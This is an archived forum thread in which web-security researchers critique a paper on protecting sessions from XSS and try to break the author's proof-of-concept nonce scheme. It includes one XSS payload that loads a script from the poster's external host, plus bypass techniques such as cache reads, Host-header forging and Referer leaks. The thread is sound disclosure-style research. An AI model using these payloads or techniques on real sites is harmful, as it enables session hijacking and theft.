[www.informatik.uni-hamburg.de]
Interesting paper by Martin Johns.

That looks very interesting indeed. Haven't read it all yet but so far it seems to be a useful reference containing some rather advanced approaches.

Thank you blad3.

They did a talk at 23C3 (or whatever it was called) about that. Certainly looked interesting. The video is mirrored here

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

Its an interesting paper, and some things like the Deferred Loading seem pretty much air-tight.

But other things such as the URL Randomisation are pretty much unworkable (object overloading, document.location watch()-ing, etc, there is lots of stuff you can do), unless implemented in technologies such as Flash or Java, as they mentioned, in which case all links would have to be Java or Flash.

Which means that attacks are still possible because you can stop the loading of any flash object that is loaded after the javascript is executed, and so can use the XMLHttpRequest object to download the flash/java objects, and then send them to an off-site flash/java decompiler which would then return the nonce from the flash or Java file.

Sure its difficult to implement such an attack, but no more difficult than implementing the actual measures they propose.

Subdomain switching is a good and interesting idea, but there are still ways to circumvent it in today's world of broken browsers:

If domains are cyclical, then all an attacker needs to do is force navigation until they get the page they want on the same subdomain. this would be difficult if you have URL Randomisation, but still possible because:

Host headers can be faked and so requests can still be made to the same domain sending different host headers, and so this protection is useless.

And so the battle continues.

[EDIT]: P.S. you can find how to watch the document.location property here: [kuza55.blogspot.com]

It can of course be unwatched, but that's yet another implementation thing, and since we can have timers it might be possible to simply call the watch() function so many times that a single unwatch is not enough.



Edited 1 time(s). Last edit at 03/06/2007 02:08PM by kuza55.

Having slept on the issue it is clear that I was wrong in my assessment of the Deferred Page Loading, because I was too focused on obtaining the secure cookie.

The reason I am wrong is that we really do not need the secure cookie because we can just make the user make requests to the getCookie.ext image whenever we need to.

Now, if requests to getCookie.ext are tied to the other requests by IP, then Anti-DNS pinning will allow us to act as if we are authenticated.

If standard CSRF protection techniques are employed the approach is still vulnerable because we can read the responses and therefore read CSRF token.

And the only thing which can prevent either of these is URL randomisation.

The other option is to have a cookie on the second level domain which is sent with both requests, but then we can just steal that cookie and force teh clients to make requests to getCookie.ext.

So while it does make attacks harder because we need to have control over the client for the duration of the attack, it is still workable if you know the interface for the app you are attacking, and you only need to perform a single action, e.g. a money transfer.

Quote:

If standard CSRF protection techniques are employed the approach is still vulnerable because we can read the responses and therefore read CSRF token.

I guess you are referring to the mhtml bug in IE. Well browser bugs aren't considerd at all in this paper. If you meant reading responses because of a XSS vulnerability you should form a habit of calling it session riding.
By the way I always dislike approaches that are close to kill usability. Who do you expect to implement those things?

Hey Kuza55, thanks for your comments. I originally wrote the paper more than a year ago even though I just recently posted it, so bear with me while I try to reassemble my original ideas...

Foremost, as you already stated in your comment at my blog and as it is mentioned somewhere in the paper, the proposed mechanisms are meant to be employed in combination. Otherwise the protection can be undermined. Especially the Subdomain Switching technique is essential, as it ties the malicious JavaScript to the single vulnerable page it is included in.

Here are some replies to your comments:
> If domains are cyclical, then all an attacker needs to do is force navigation
> until they get the page they want on the same subdomain.

The subdomains do not have to be cyclical. (At least) Apache allows wildcard subdomains. Therefore we have a theoretical arbitrary large number of subdomains available. And how do you fake host-headers? As far as I know (and I may be mistaken) this is neither possible with XMLHttpRequest nor with recent versions of Flash.

> The reason I am wrong is that we really do not need the secure cookie because we
> can just make the user make requests to the getCookie.ext image whenever we need
> to.

The pageloader and the getCookie.ext image are tied together by a RID. This RID can't be read inside the victim's browser because the pageloader is delivered using a unique subdomain. Therefore the attacker is unable to request the getCookie.ext image with the correct RID.

I talked about a related attack in the ph-neutral talk (the slides are linked in the blog-post).

I have to sleep on the attacker's possibilities that may arise due to breaking DNS-pinning in combination with low level socket functions though. This might enable the attacker to circumvent some of the protection provided by Subdomain Switching. The paper is actually older than the anti-pinning stuff. I toyed with the idea that the URLRandomizer is unnecessary (as also mentioned in the ph-neutral talk) but maybe with anti-DNS-pinning in the picture we still need it :-/



Edited 1 time(s). Last edit at 03/06/2007 04:40PM by majohn.

christ1an Wrote:
-------------------------------------------------------
> I guess you are referring to the mhtml bug
> in IE. Well browser bugs aren't considerd at all
> in this paper. If you meant reading responses
> because of a XSS vulnerability you should form a
> habit of calling it session riding.

majohn Wrote:
-------------------------------------------------------
> And how do you
> fake host-headers? As far as I know (and I may be
> mistaken) this is neither possible with
> XMLHttpRequest nor with recent versions of Flash.


In both those instances I was referring to Anti-DNS Pinning. I'm not sure if you classify it as a browser bug, but IMO it was hands down _THE_ biggest hole punched in the web last year, no matter what anyone else says, it enables so many attacks.

And also, most of the attack scenarios here are in relation to Anti-DNS Pinning. With Anti-DNS Pinning the subdomain issue is solved because once we find what the next domain is, we can simply set the Host header to that domain.

The one thing I'm not sure how you would accomplish would be the original XSS attack. If you have randomised URLs I have no idea how an attacker could execute an XSS attack without a persistent vector, which is very rare.

P.S. Does anyone know the current state of XST? because if it has been fixed and we have no way of defeating httpOnly, then Anti-DNS Pinning is no longer much of an issue since we can no longer send the relevant cookie.

I have given the consequences of anti-DNS-pinning some more thoughts: Unlike I have stated in the ph-neutral slides, with anti-pinning in the picture we _need_ randomized URLs, as Flash's and Java's low level socket functions allow cross-domain read access and Host-header forging and thus are undermining the read-protection provided by Subdomain Switching.

kuza55 Wrote:
-------------------------------------------------------
> The one thing I'm not sure how you would
> accomplish would be the original XSS attack. If
> you have randomised URLs I have no idea how an
> attacker could execute an XSS attack without a
> persistent vector, which is very rare.

Even with a persistent vector you won't be able to read the list of valid one-time nonces, as they are kept inside the URLRandomizer object, which in turn is instantiated during the Deferred Loading process while the page itself is still uncompromised (the persistent XSS will only take effect after the Pageloader has retrieved the page's data). So I can not see, how a malicious script can do anything meaningful outside the scope of the single compromised web-page.

christ1an Wrote:
-------------------------------------------------------
> By the way I always dislike approaches that are
> close to kill usability. Who do you expect to
> implement those things?

The proposed protection approach comes with a certain price in respect to usability. And keep in mind that the main objective of the paper was to establish _what_ exactly can be done and even more _what_ are the defensive tools that browsers provide. I consider the main result of the paper to be: (anti-dns-pinning set aside) Subdomains are a quite powerful means when it comes to limiting the capabilities of a malicious JavaScript.

Quote:

The proposed protection approach comes with a certain price in respect to usability. And keep in mind that the main objective of the paper was to establish _what_ exactly can be done and even more _what_ are the defensive tools that browsers provide. I consider the main result of the paper to be: (anti-dns-pinning set aside) Subdomains are a quite powerful means when it comes to limiting the capabilities of a malicious JavaScript.

Yes, I am aware of your intention. Thats why I said earlier it was very useful reading.

Think is will have a huge impact on the browsers functionality, and while this might be patched or closed down, atackers just open another window or door stealing it anyway. If you can build it, it can be broken. Not that it is a good idea, it is way too technical to be even practical.

Just like a disturbing story from my hometown; Banks are prety good protected these days. So what did they do in this case? They took a bankmanager hostage in his own home, and asked the key to the bank and safe, the other robbers went to the bank, and cleaned it out.

majohn Wrote:
-------------------------------------------------------
> Even with a persistent vector you won't be able to
> read the list of valid one-time nonces, as they
> are kept inside the URLRandomizer object, which in
> turn is instantiated during the Deferred Loading
> process while the page itself is still
> uncompromised (the persistent XSS will only take
> effect after the Pageloader has retrieved the
> page's data).

The thing is, there is no way to hide the nonce. First of all, you implementation is vulnerable to using the watch() function; I'm sure there could be other ways as well.

But the biggest problem is that we can read the source of any Javascript-only object like this:

<html>
<body>
<script>
	var scrip = document.createElement('script');
	scrip.language = 'text/javascript';
	scrip.text = 'function foo() { alert(document); }';
	document.body.appendChild (scrip);
	document.body.removeChild (scrip);
</script>
<a href="javascript:alert(foo)">test</a>
</body>
</html>

Even though it has been removed from the DOM.

Essentially I am not convinced that there is any way you can hide the nonce, you might find a way if you're lucky, but I'm doubtful.

kuza55 Wrote:
-------------------------------------------------------
> The thing is, there is no way to hide the nonce.
> First of all, you implementation is vulnerable to
> using the watch() function; I'm sure there could
> be other ways as well.

I disagree. I do not consider watch() to be an serious issue. As you said yourself - every watched property can be unwatched before changing its value. Therefore before setting document.location, all the Randomizer has to do is to call document.unwatch("location"). As JavaScript is not multithreaded and timeout events do not interrupt running functions, there is no race condition that could be exploited to reapply a watch()-function in between the unwatch() and the setting of document.location.

> But the biggest problem is that we can read the
> source of any Javascript-only object like this:
> [...]

Yes. This is the reason why the nonce is not part of the object's source code. It is retrieved during object-construction via a synchronous XHR and kept in a "private" member of the Randomizer-object.

> Essentially I am not convinced that there is any
> way you can hide the nonce, you might find a way
> if you're lucky, but I'm doubtful.

As I wrote in my blog entry - I am not totally convinced myself. But right now, I am not aware of a working approach to either retrieve the nonce or to undermine the combined proposed mechanisms in a different way. One of the reasons why I posted the paper was to get feedback, wether I missed a working attack vector :) So keep trying, this is fun.

ok, stop talking, let's break some code :) I found my old PoC-Code and put it (temporarily) online: [onetimeurls.databasement.net] (please notice: this is only a demo of the URLRandomizer not a full SessionSafe-PoC)

I genuinely would be interested if it is possible to steal the nonce from the url_randomizer object.



Edited 1 time(s). Last edit at 03/08/2007 07:01AM by majohn.

Well, I haven't been able to test this against your PoC because the nonce never changes, but I think it is possible to extract the nonce data from the browser cache, since XHR responses are stored in teh chache like any other responses, or so I've read. Sadly I'm not in a place where I can test this, but I tihnk it should be possible.

As to breaking the actual js, well, I'm working on it. Some things I'm looking at atm, which probably won't bear any fruit, but anyway:

replacing functions in the object - this 'works' but I cannot access the variables, maybe I'm doing something wrong, but more likely this has no hope of working.

using the function.call(scope) (and the Object.eval) method to call an externally defined function in the scope of the url_randomizer object - this also seems to 'work' but I cannot see the variables

trying to figure out how to clone an object, and if possible overload the cloning function so that I can read the variable while its being cloned. - haven't figured out how to clone an object

I think I need to go find some people who understand Javascript better than I do, because I'm honestly having problems getting any of my ideas to work.....

Actually, after doing some more reading it seems that neither adding methods or using function.call or Object.eval were working is because only privelaged methods can access private vars, and as far as I have been able to tell there is no way to create a privelaged method outside the constructor, so for the moment the only way I can think of defeating that code is reading the data from the browser cache. But I'll try to find some people who know javascript better than I do on the weekend.

This thread intrigued me. I blindly went to majohn's proof of concept (without reading his article - oh the shame) because I liked the challenge phrase:

"...come on and exploit me"

I believe the following exploits the XSS majohn gave us and writes out the URL it would be going to:

<script src="http://killgore.f2s.com/test/b.js"></script>

Simple but effective.

Essentially I just include a js file from some free webspace I have but dont use that modifies the action of the randomizer function to document.write instead of the intended action.

Apologies if I missed the point by not reading the article. bit hungover..

-- I think we are out of l33t aliases so I used my name.
[www.otherendofthespectrum.com]

Hey Paul,

thanks for your interest.

Your method requires a second XHR request to obtain the nonce. As it
is stated in the paper (that you have not yet read) on page 453 (sic.)
the URL to the nonces (identified by the RID) is only valid once:

<quote>
Timing aspects: As mentioned above, the URLRandomizer obtains the valid
randomization data from the server by requesting it via http. This leads to
the following requirement: The URL that is used to get this data also has to
be randomized and limited to one time use. [...]
</quote>

I have to admit that this certain aspect is not implemented in the
prototype. You caught me there ;) But if the one-time limitation is implemented,
your spoofed Randomizer would not be able to get the nonce in the first place.

If I find the time, I will add this aspect to the demo.

I've done some tests, and IE is definately vulnerable to the XHR cache being read. If you modify build_randomizer() function to alert the nonce, then just inserting the following:

<script>
build_randomizer();
</script>

in IE, will cause the same nonce to pop up twice. I'm still working on how to get this to work in Mozilla browsers though.

[EDIT]: It seems that Mozilla isn't going to be vulnerable unless you send freshness information back with the request, to quote [www.mnot.net] :

Quote:

All of them will cache responses from URIs that contain question marks, as long as there’s freshness information present. IE is a little bit aggressive with them; it will cache even without freshness information.

Edited 1 time(s). Last edit at 03/12/2007 02:29AM by kuza55.

So much for my black box attempt then. Will read the paper and have a pop at the full implementation if you get it up.

cheers

-- I think we are out of l33t aliases so I used my name.
[www.otherendofthespectrum.com]

Nice one Kuzza55 :)

Ah, web browsers, you gotta love them. I have to play around with this issue when I come back home (I am in Seoul right now). I have not yet much experience with cross-browser cache control.

I added a "cache-control: no-cache" header to the http-response with the nonce (using a painfully slow ssh-connection). I also added a debug switch to let the Randomizer alert() the nonce. Could you try if IE is still susceptible? If have no IE here at hand, as I use a Mac.

Cheers,
MJ

After doing some testing it *seems* that IE doesn't cache the result.

But if you do about:cache on Firefox and got to the disk cache, you will notice that Firefox now caches the result. I still need to figure out how to access it, but at least it seems to exist. So there might still be some hope. Or lack of hope depending on how you look at it, :p

There is an obvious flaw in majohn's POC.

Check this out
[wasjournal.blogspot.com]

I request the author to not fix this immediately.

kishord Wrote:
-------------------------------------------------------
> I request the author to not fix this immediately.


Why? Its a PoC, not a finished product, and its not as if anyone is going to claim you didn't find the attack.

I have a similar idea that is not exploitable against the PoC, but might be exploitable in some situations, and I just want to post it so that people are aware of the possible issue.

If you have an XSS, or even HTML Injection (and can therefore inject img or script or other external resource) on your 404 (or other) page, and your do not have your 404 page setup to invalidate tokens, then it would be possible to conduct an attack similar to the above, whereby the nonce could be sent to an attacker through the Referer header.

And therefore, even if you stopped the object from being able to redirect to another domain, there could be an issue.

So as far as I can see, so far the following requirements need to be met in the implementation:

* The nonce cannot be read from the object
* The nonce cannot be read from the cache
* The nonce cannot be read from a page which does not invalidate the nonce, either off site, or on site.

[EDIT]: This is probably only an issue in the current incarnation of the URL Randomiser when it is used alone, because the URL randomiser would also need to implement subdomain switching, and therefore would by default disallow redirects off-site. But we all still completely missed the attack, so may have implemented something vulnerable to attack anyway.

Thanks Kishor.



Edited 1 time(s). Last edit at 03/21/2007 01:02AM by kuza55.

"and its not as if anyone is going to claim you didn't find the attack"

:)

Let my readers see it at least once! :)

Hey Kishord,

thanks for your effort and disclosing the issue. Actually I was aware of the problem once, back when we were actively working on the paper in early 2006. I remember discussing the issue with Christian W., who did the practical implementation of the Deferred Loading and Subdomain Switching parts, but I obviously forgot to include a countermeasure in the prototype (a lame excuse, but true). As you already wrote, a defence against the attack is possible. I will update the prototype accordingly in a while (I respect your request to defer the fixing).

Just for the record: I have never considered my code to be bullet-proof. In hindsight I think my coding of the PoC was rather sloppy. When I wrote it, I was mainly interested to see, if it is actually possible to hide information from malicious JavaScript and was therefore too preoccupied to consider attacks like the one you found or Kuzza55's watch()-attack. This is what you get, when you publish half-baked code :)

kuza55 Wrote:
> * The nonce cannot be read from a page which does
> not invalidate the nonce, either off site, or on site.

A good observation that should have been in the original paper.

> This is probably only an issue in the current
> incarnation of the URL Randomiser when it is used
> alone, because the URL randomiser would also need
> to implement subdomain switching, and therefore
> would by default disallow redirects off-site.

Yes, a proper implementation should work this way, but the issue should not have been in the PoC in the first place (*/me slaps his head*).

I've posted an exploit that works on IE and Opera on my blog. Please see if you are interested.
[labs.cybozu.co.jp]

Nice one, kazuho :)

Nice find kahuzo, ;)

After doing some looking around; it seems its impossible to stop this attack at all because it is seems impossible to keep a copy of the object, since when you create a copy of the document (or window) object, you simply create a reference to the object, and so once you over-write the object, the reference points to nothing, and your copy becomes non-existant (undefined).

Maybe it would then be possible to write something to restrict XSS attacks in IE at least (I haven't tested Opera), like Jeremiah tried to last year.

Or I might just have missed something, and there is a way to stop the issue.

[EDIT]: I just remembered that trev mentioned the same thing (for a different application) here: [sla.ckers.org] - yet for some reason it just didn't click.....



Edited 1 time(s). Last edit at 03/27/2007 06:23PM by kuza55.

Getting back to the cookie protection idea - I think it is doable and even bullet-proof (meaning that you cannot steal the cookie though you can still hijack the browser). However, the algorithm can be streamlined, e.g. the timing issues are self-induced. The secure site only needs to have one script, ping.ext. So result of www.example.com/something.ext will always look like this:

<script type="text/javascript" src="pageloader.js"></script>
<img src="http://secure.example.com/ping.ext?RID=123456" onload="loadPage(this)">

ping.ext will check the cookie it receives. If it doesn't receive one, it creates a new session and prints a Set-Cookie header. It will also associate request ID 123456 with this session on the server. There is really no necessity for separate scripts and multiple requests.

Now function loadPage (simplified):

function loadPage(image) {
  // Do not use regexps for this, they leave traces
  var RID = image.src.substr(image.src.lastIndexOf("=") + 1);

  // Remove image, we don't need it any longer
  image.parentNode.removeChild(image);
  image = null;

  // Request page data, make sure to send RID with POST data so
  // it cannot be retrieved from the request object.
  var request = new XMLHttpRequest();
  request.open(...);
  request.send(...);

  // Make sure to get rid of the RID variable before processing response
  RID = null;
  doSomething(request.responseText);
}

I know that request IDs are supposed not to be reusable - but it still doesn't harm to make sure the web page content cannot get hold of it. You can also make the request ID the checksum of the requested URL, some secret known to the server and a few user parameters like IP address and user agent string - that way you don't need to store request IDs on the server and you still guarantee that even if the attacker gets hold of a valid request ID he will not be able to request any more data than what he already has.

Subdomain switching is in fact useful to prevent an XSSed page from reading content of other pages that are not vulnerable. Only that the suggested implementation is somewhat clumsy. Instead one can say that the server generally redirects all requests to a random subdomain (out of a sufficiently big subdomain pool). When redirecting it appends a checksum of the new URL and some secret known to the server. This allows the server to validate checksums without storing anything on the server side. URLs with a valid checksum will not be redirected.

Only URL randomization absolutely doesn't make sense. Theoretically it should make sure that despite XSS in all pages, one page can only go to designated URLs making it impossible to pass XSS code further. But what prevents me from calling URLRandomizer.go('SomeOtherPlace.ext?<script></script>')? If you want to make sure the web page can only go to the "allowed" URLs - rewrite the links on the server side, add a checksum again that is dependent on the URL, user's parameters and a secret. But you will still have the problem that the attacker might inject his URL for signing (you have it with client-side nonces as well). At least the server-based solution is compatible with method POST.

Remaining problem is the (pretty rare) permanent XSS on all pages. If we have that, the JavaScript code could simply walk the (allowed) links to execute some action - like posting a comment or changing the password.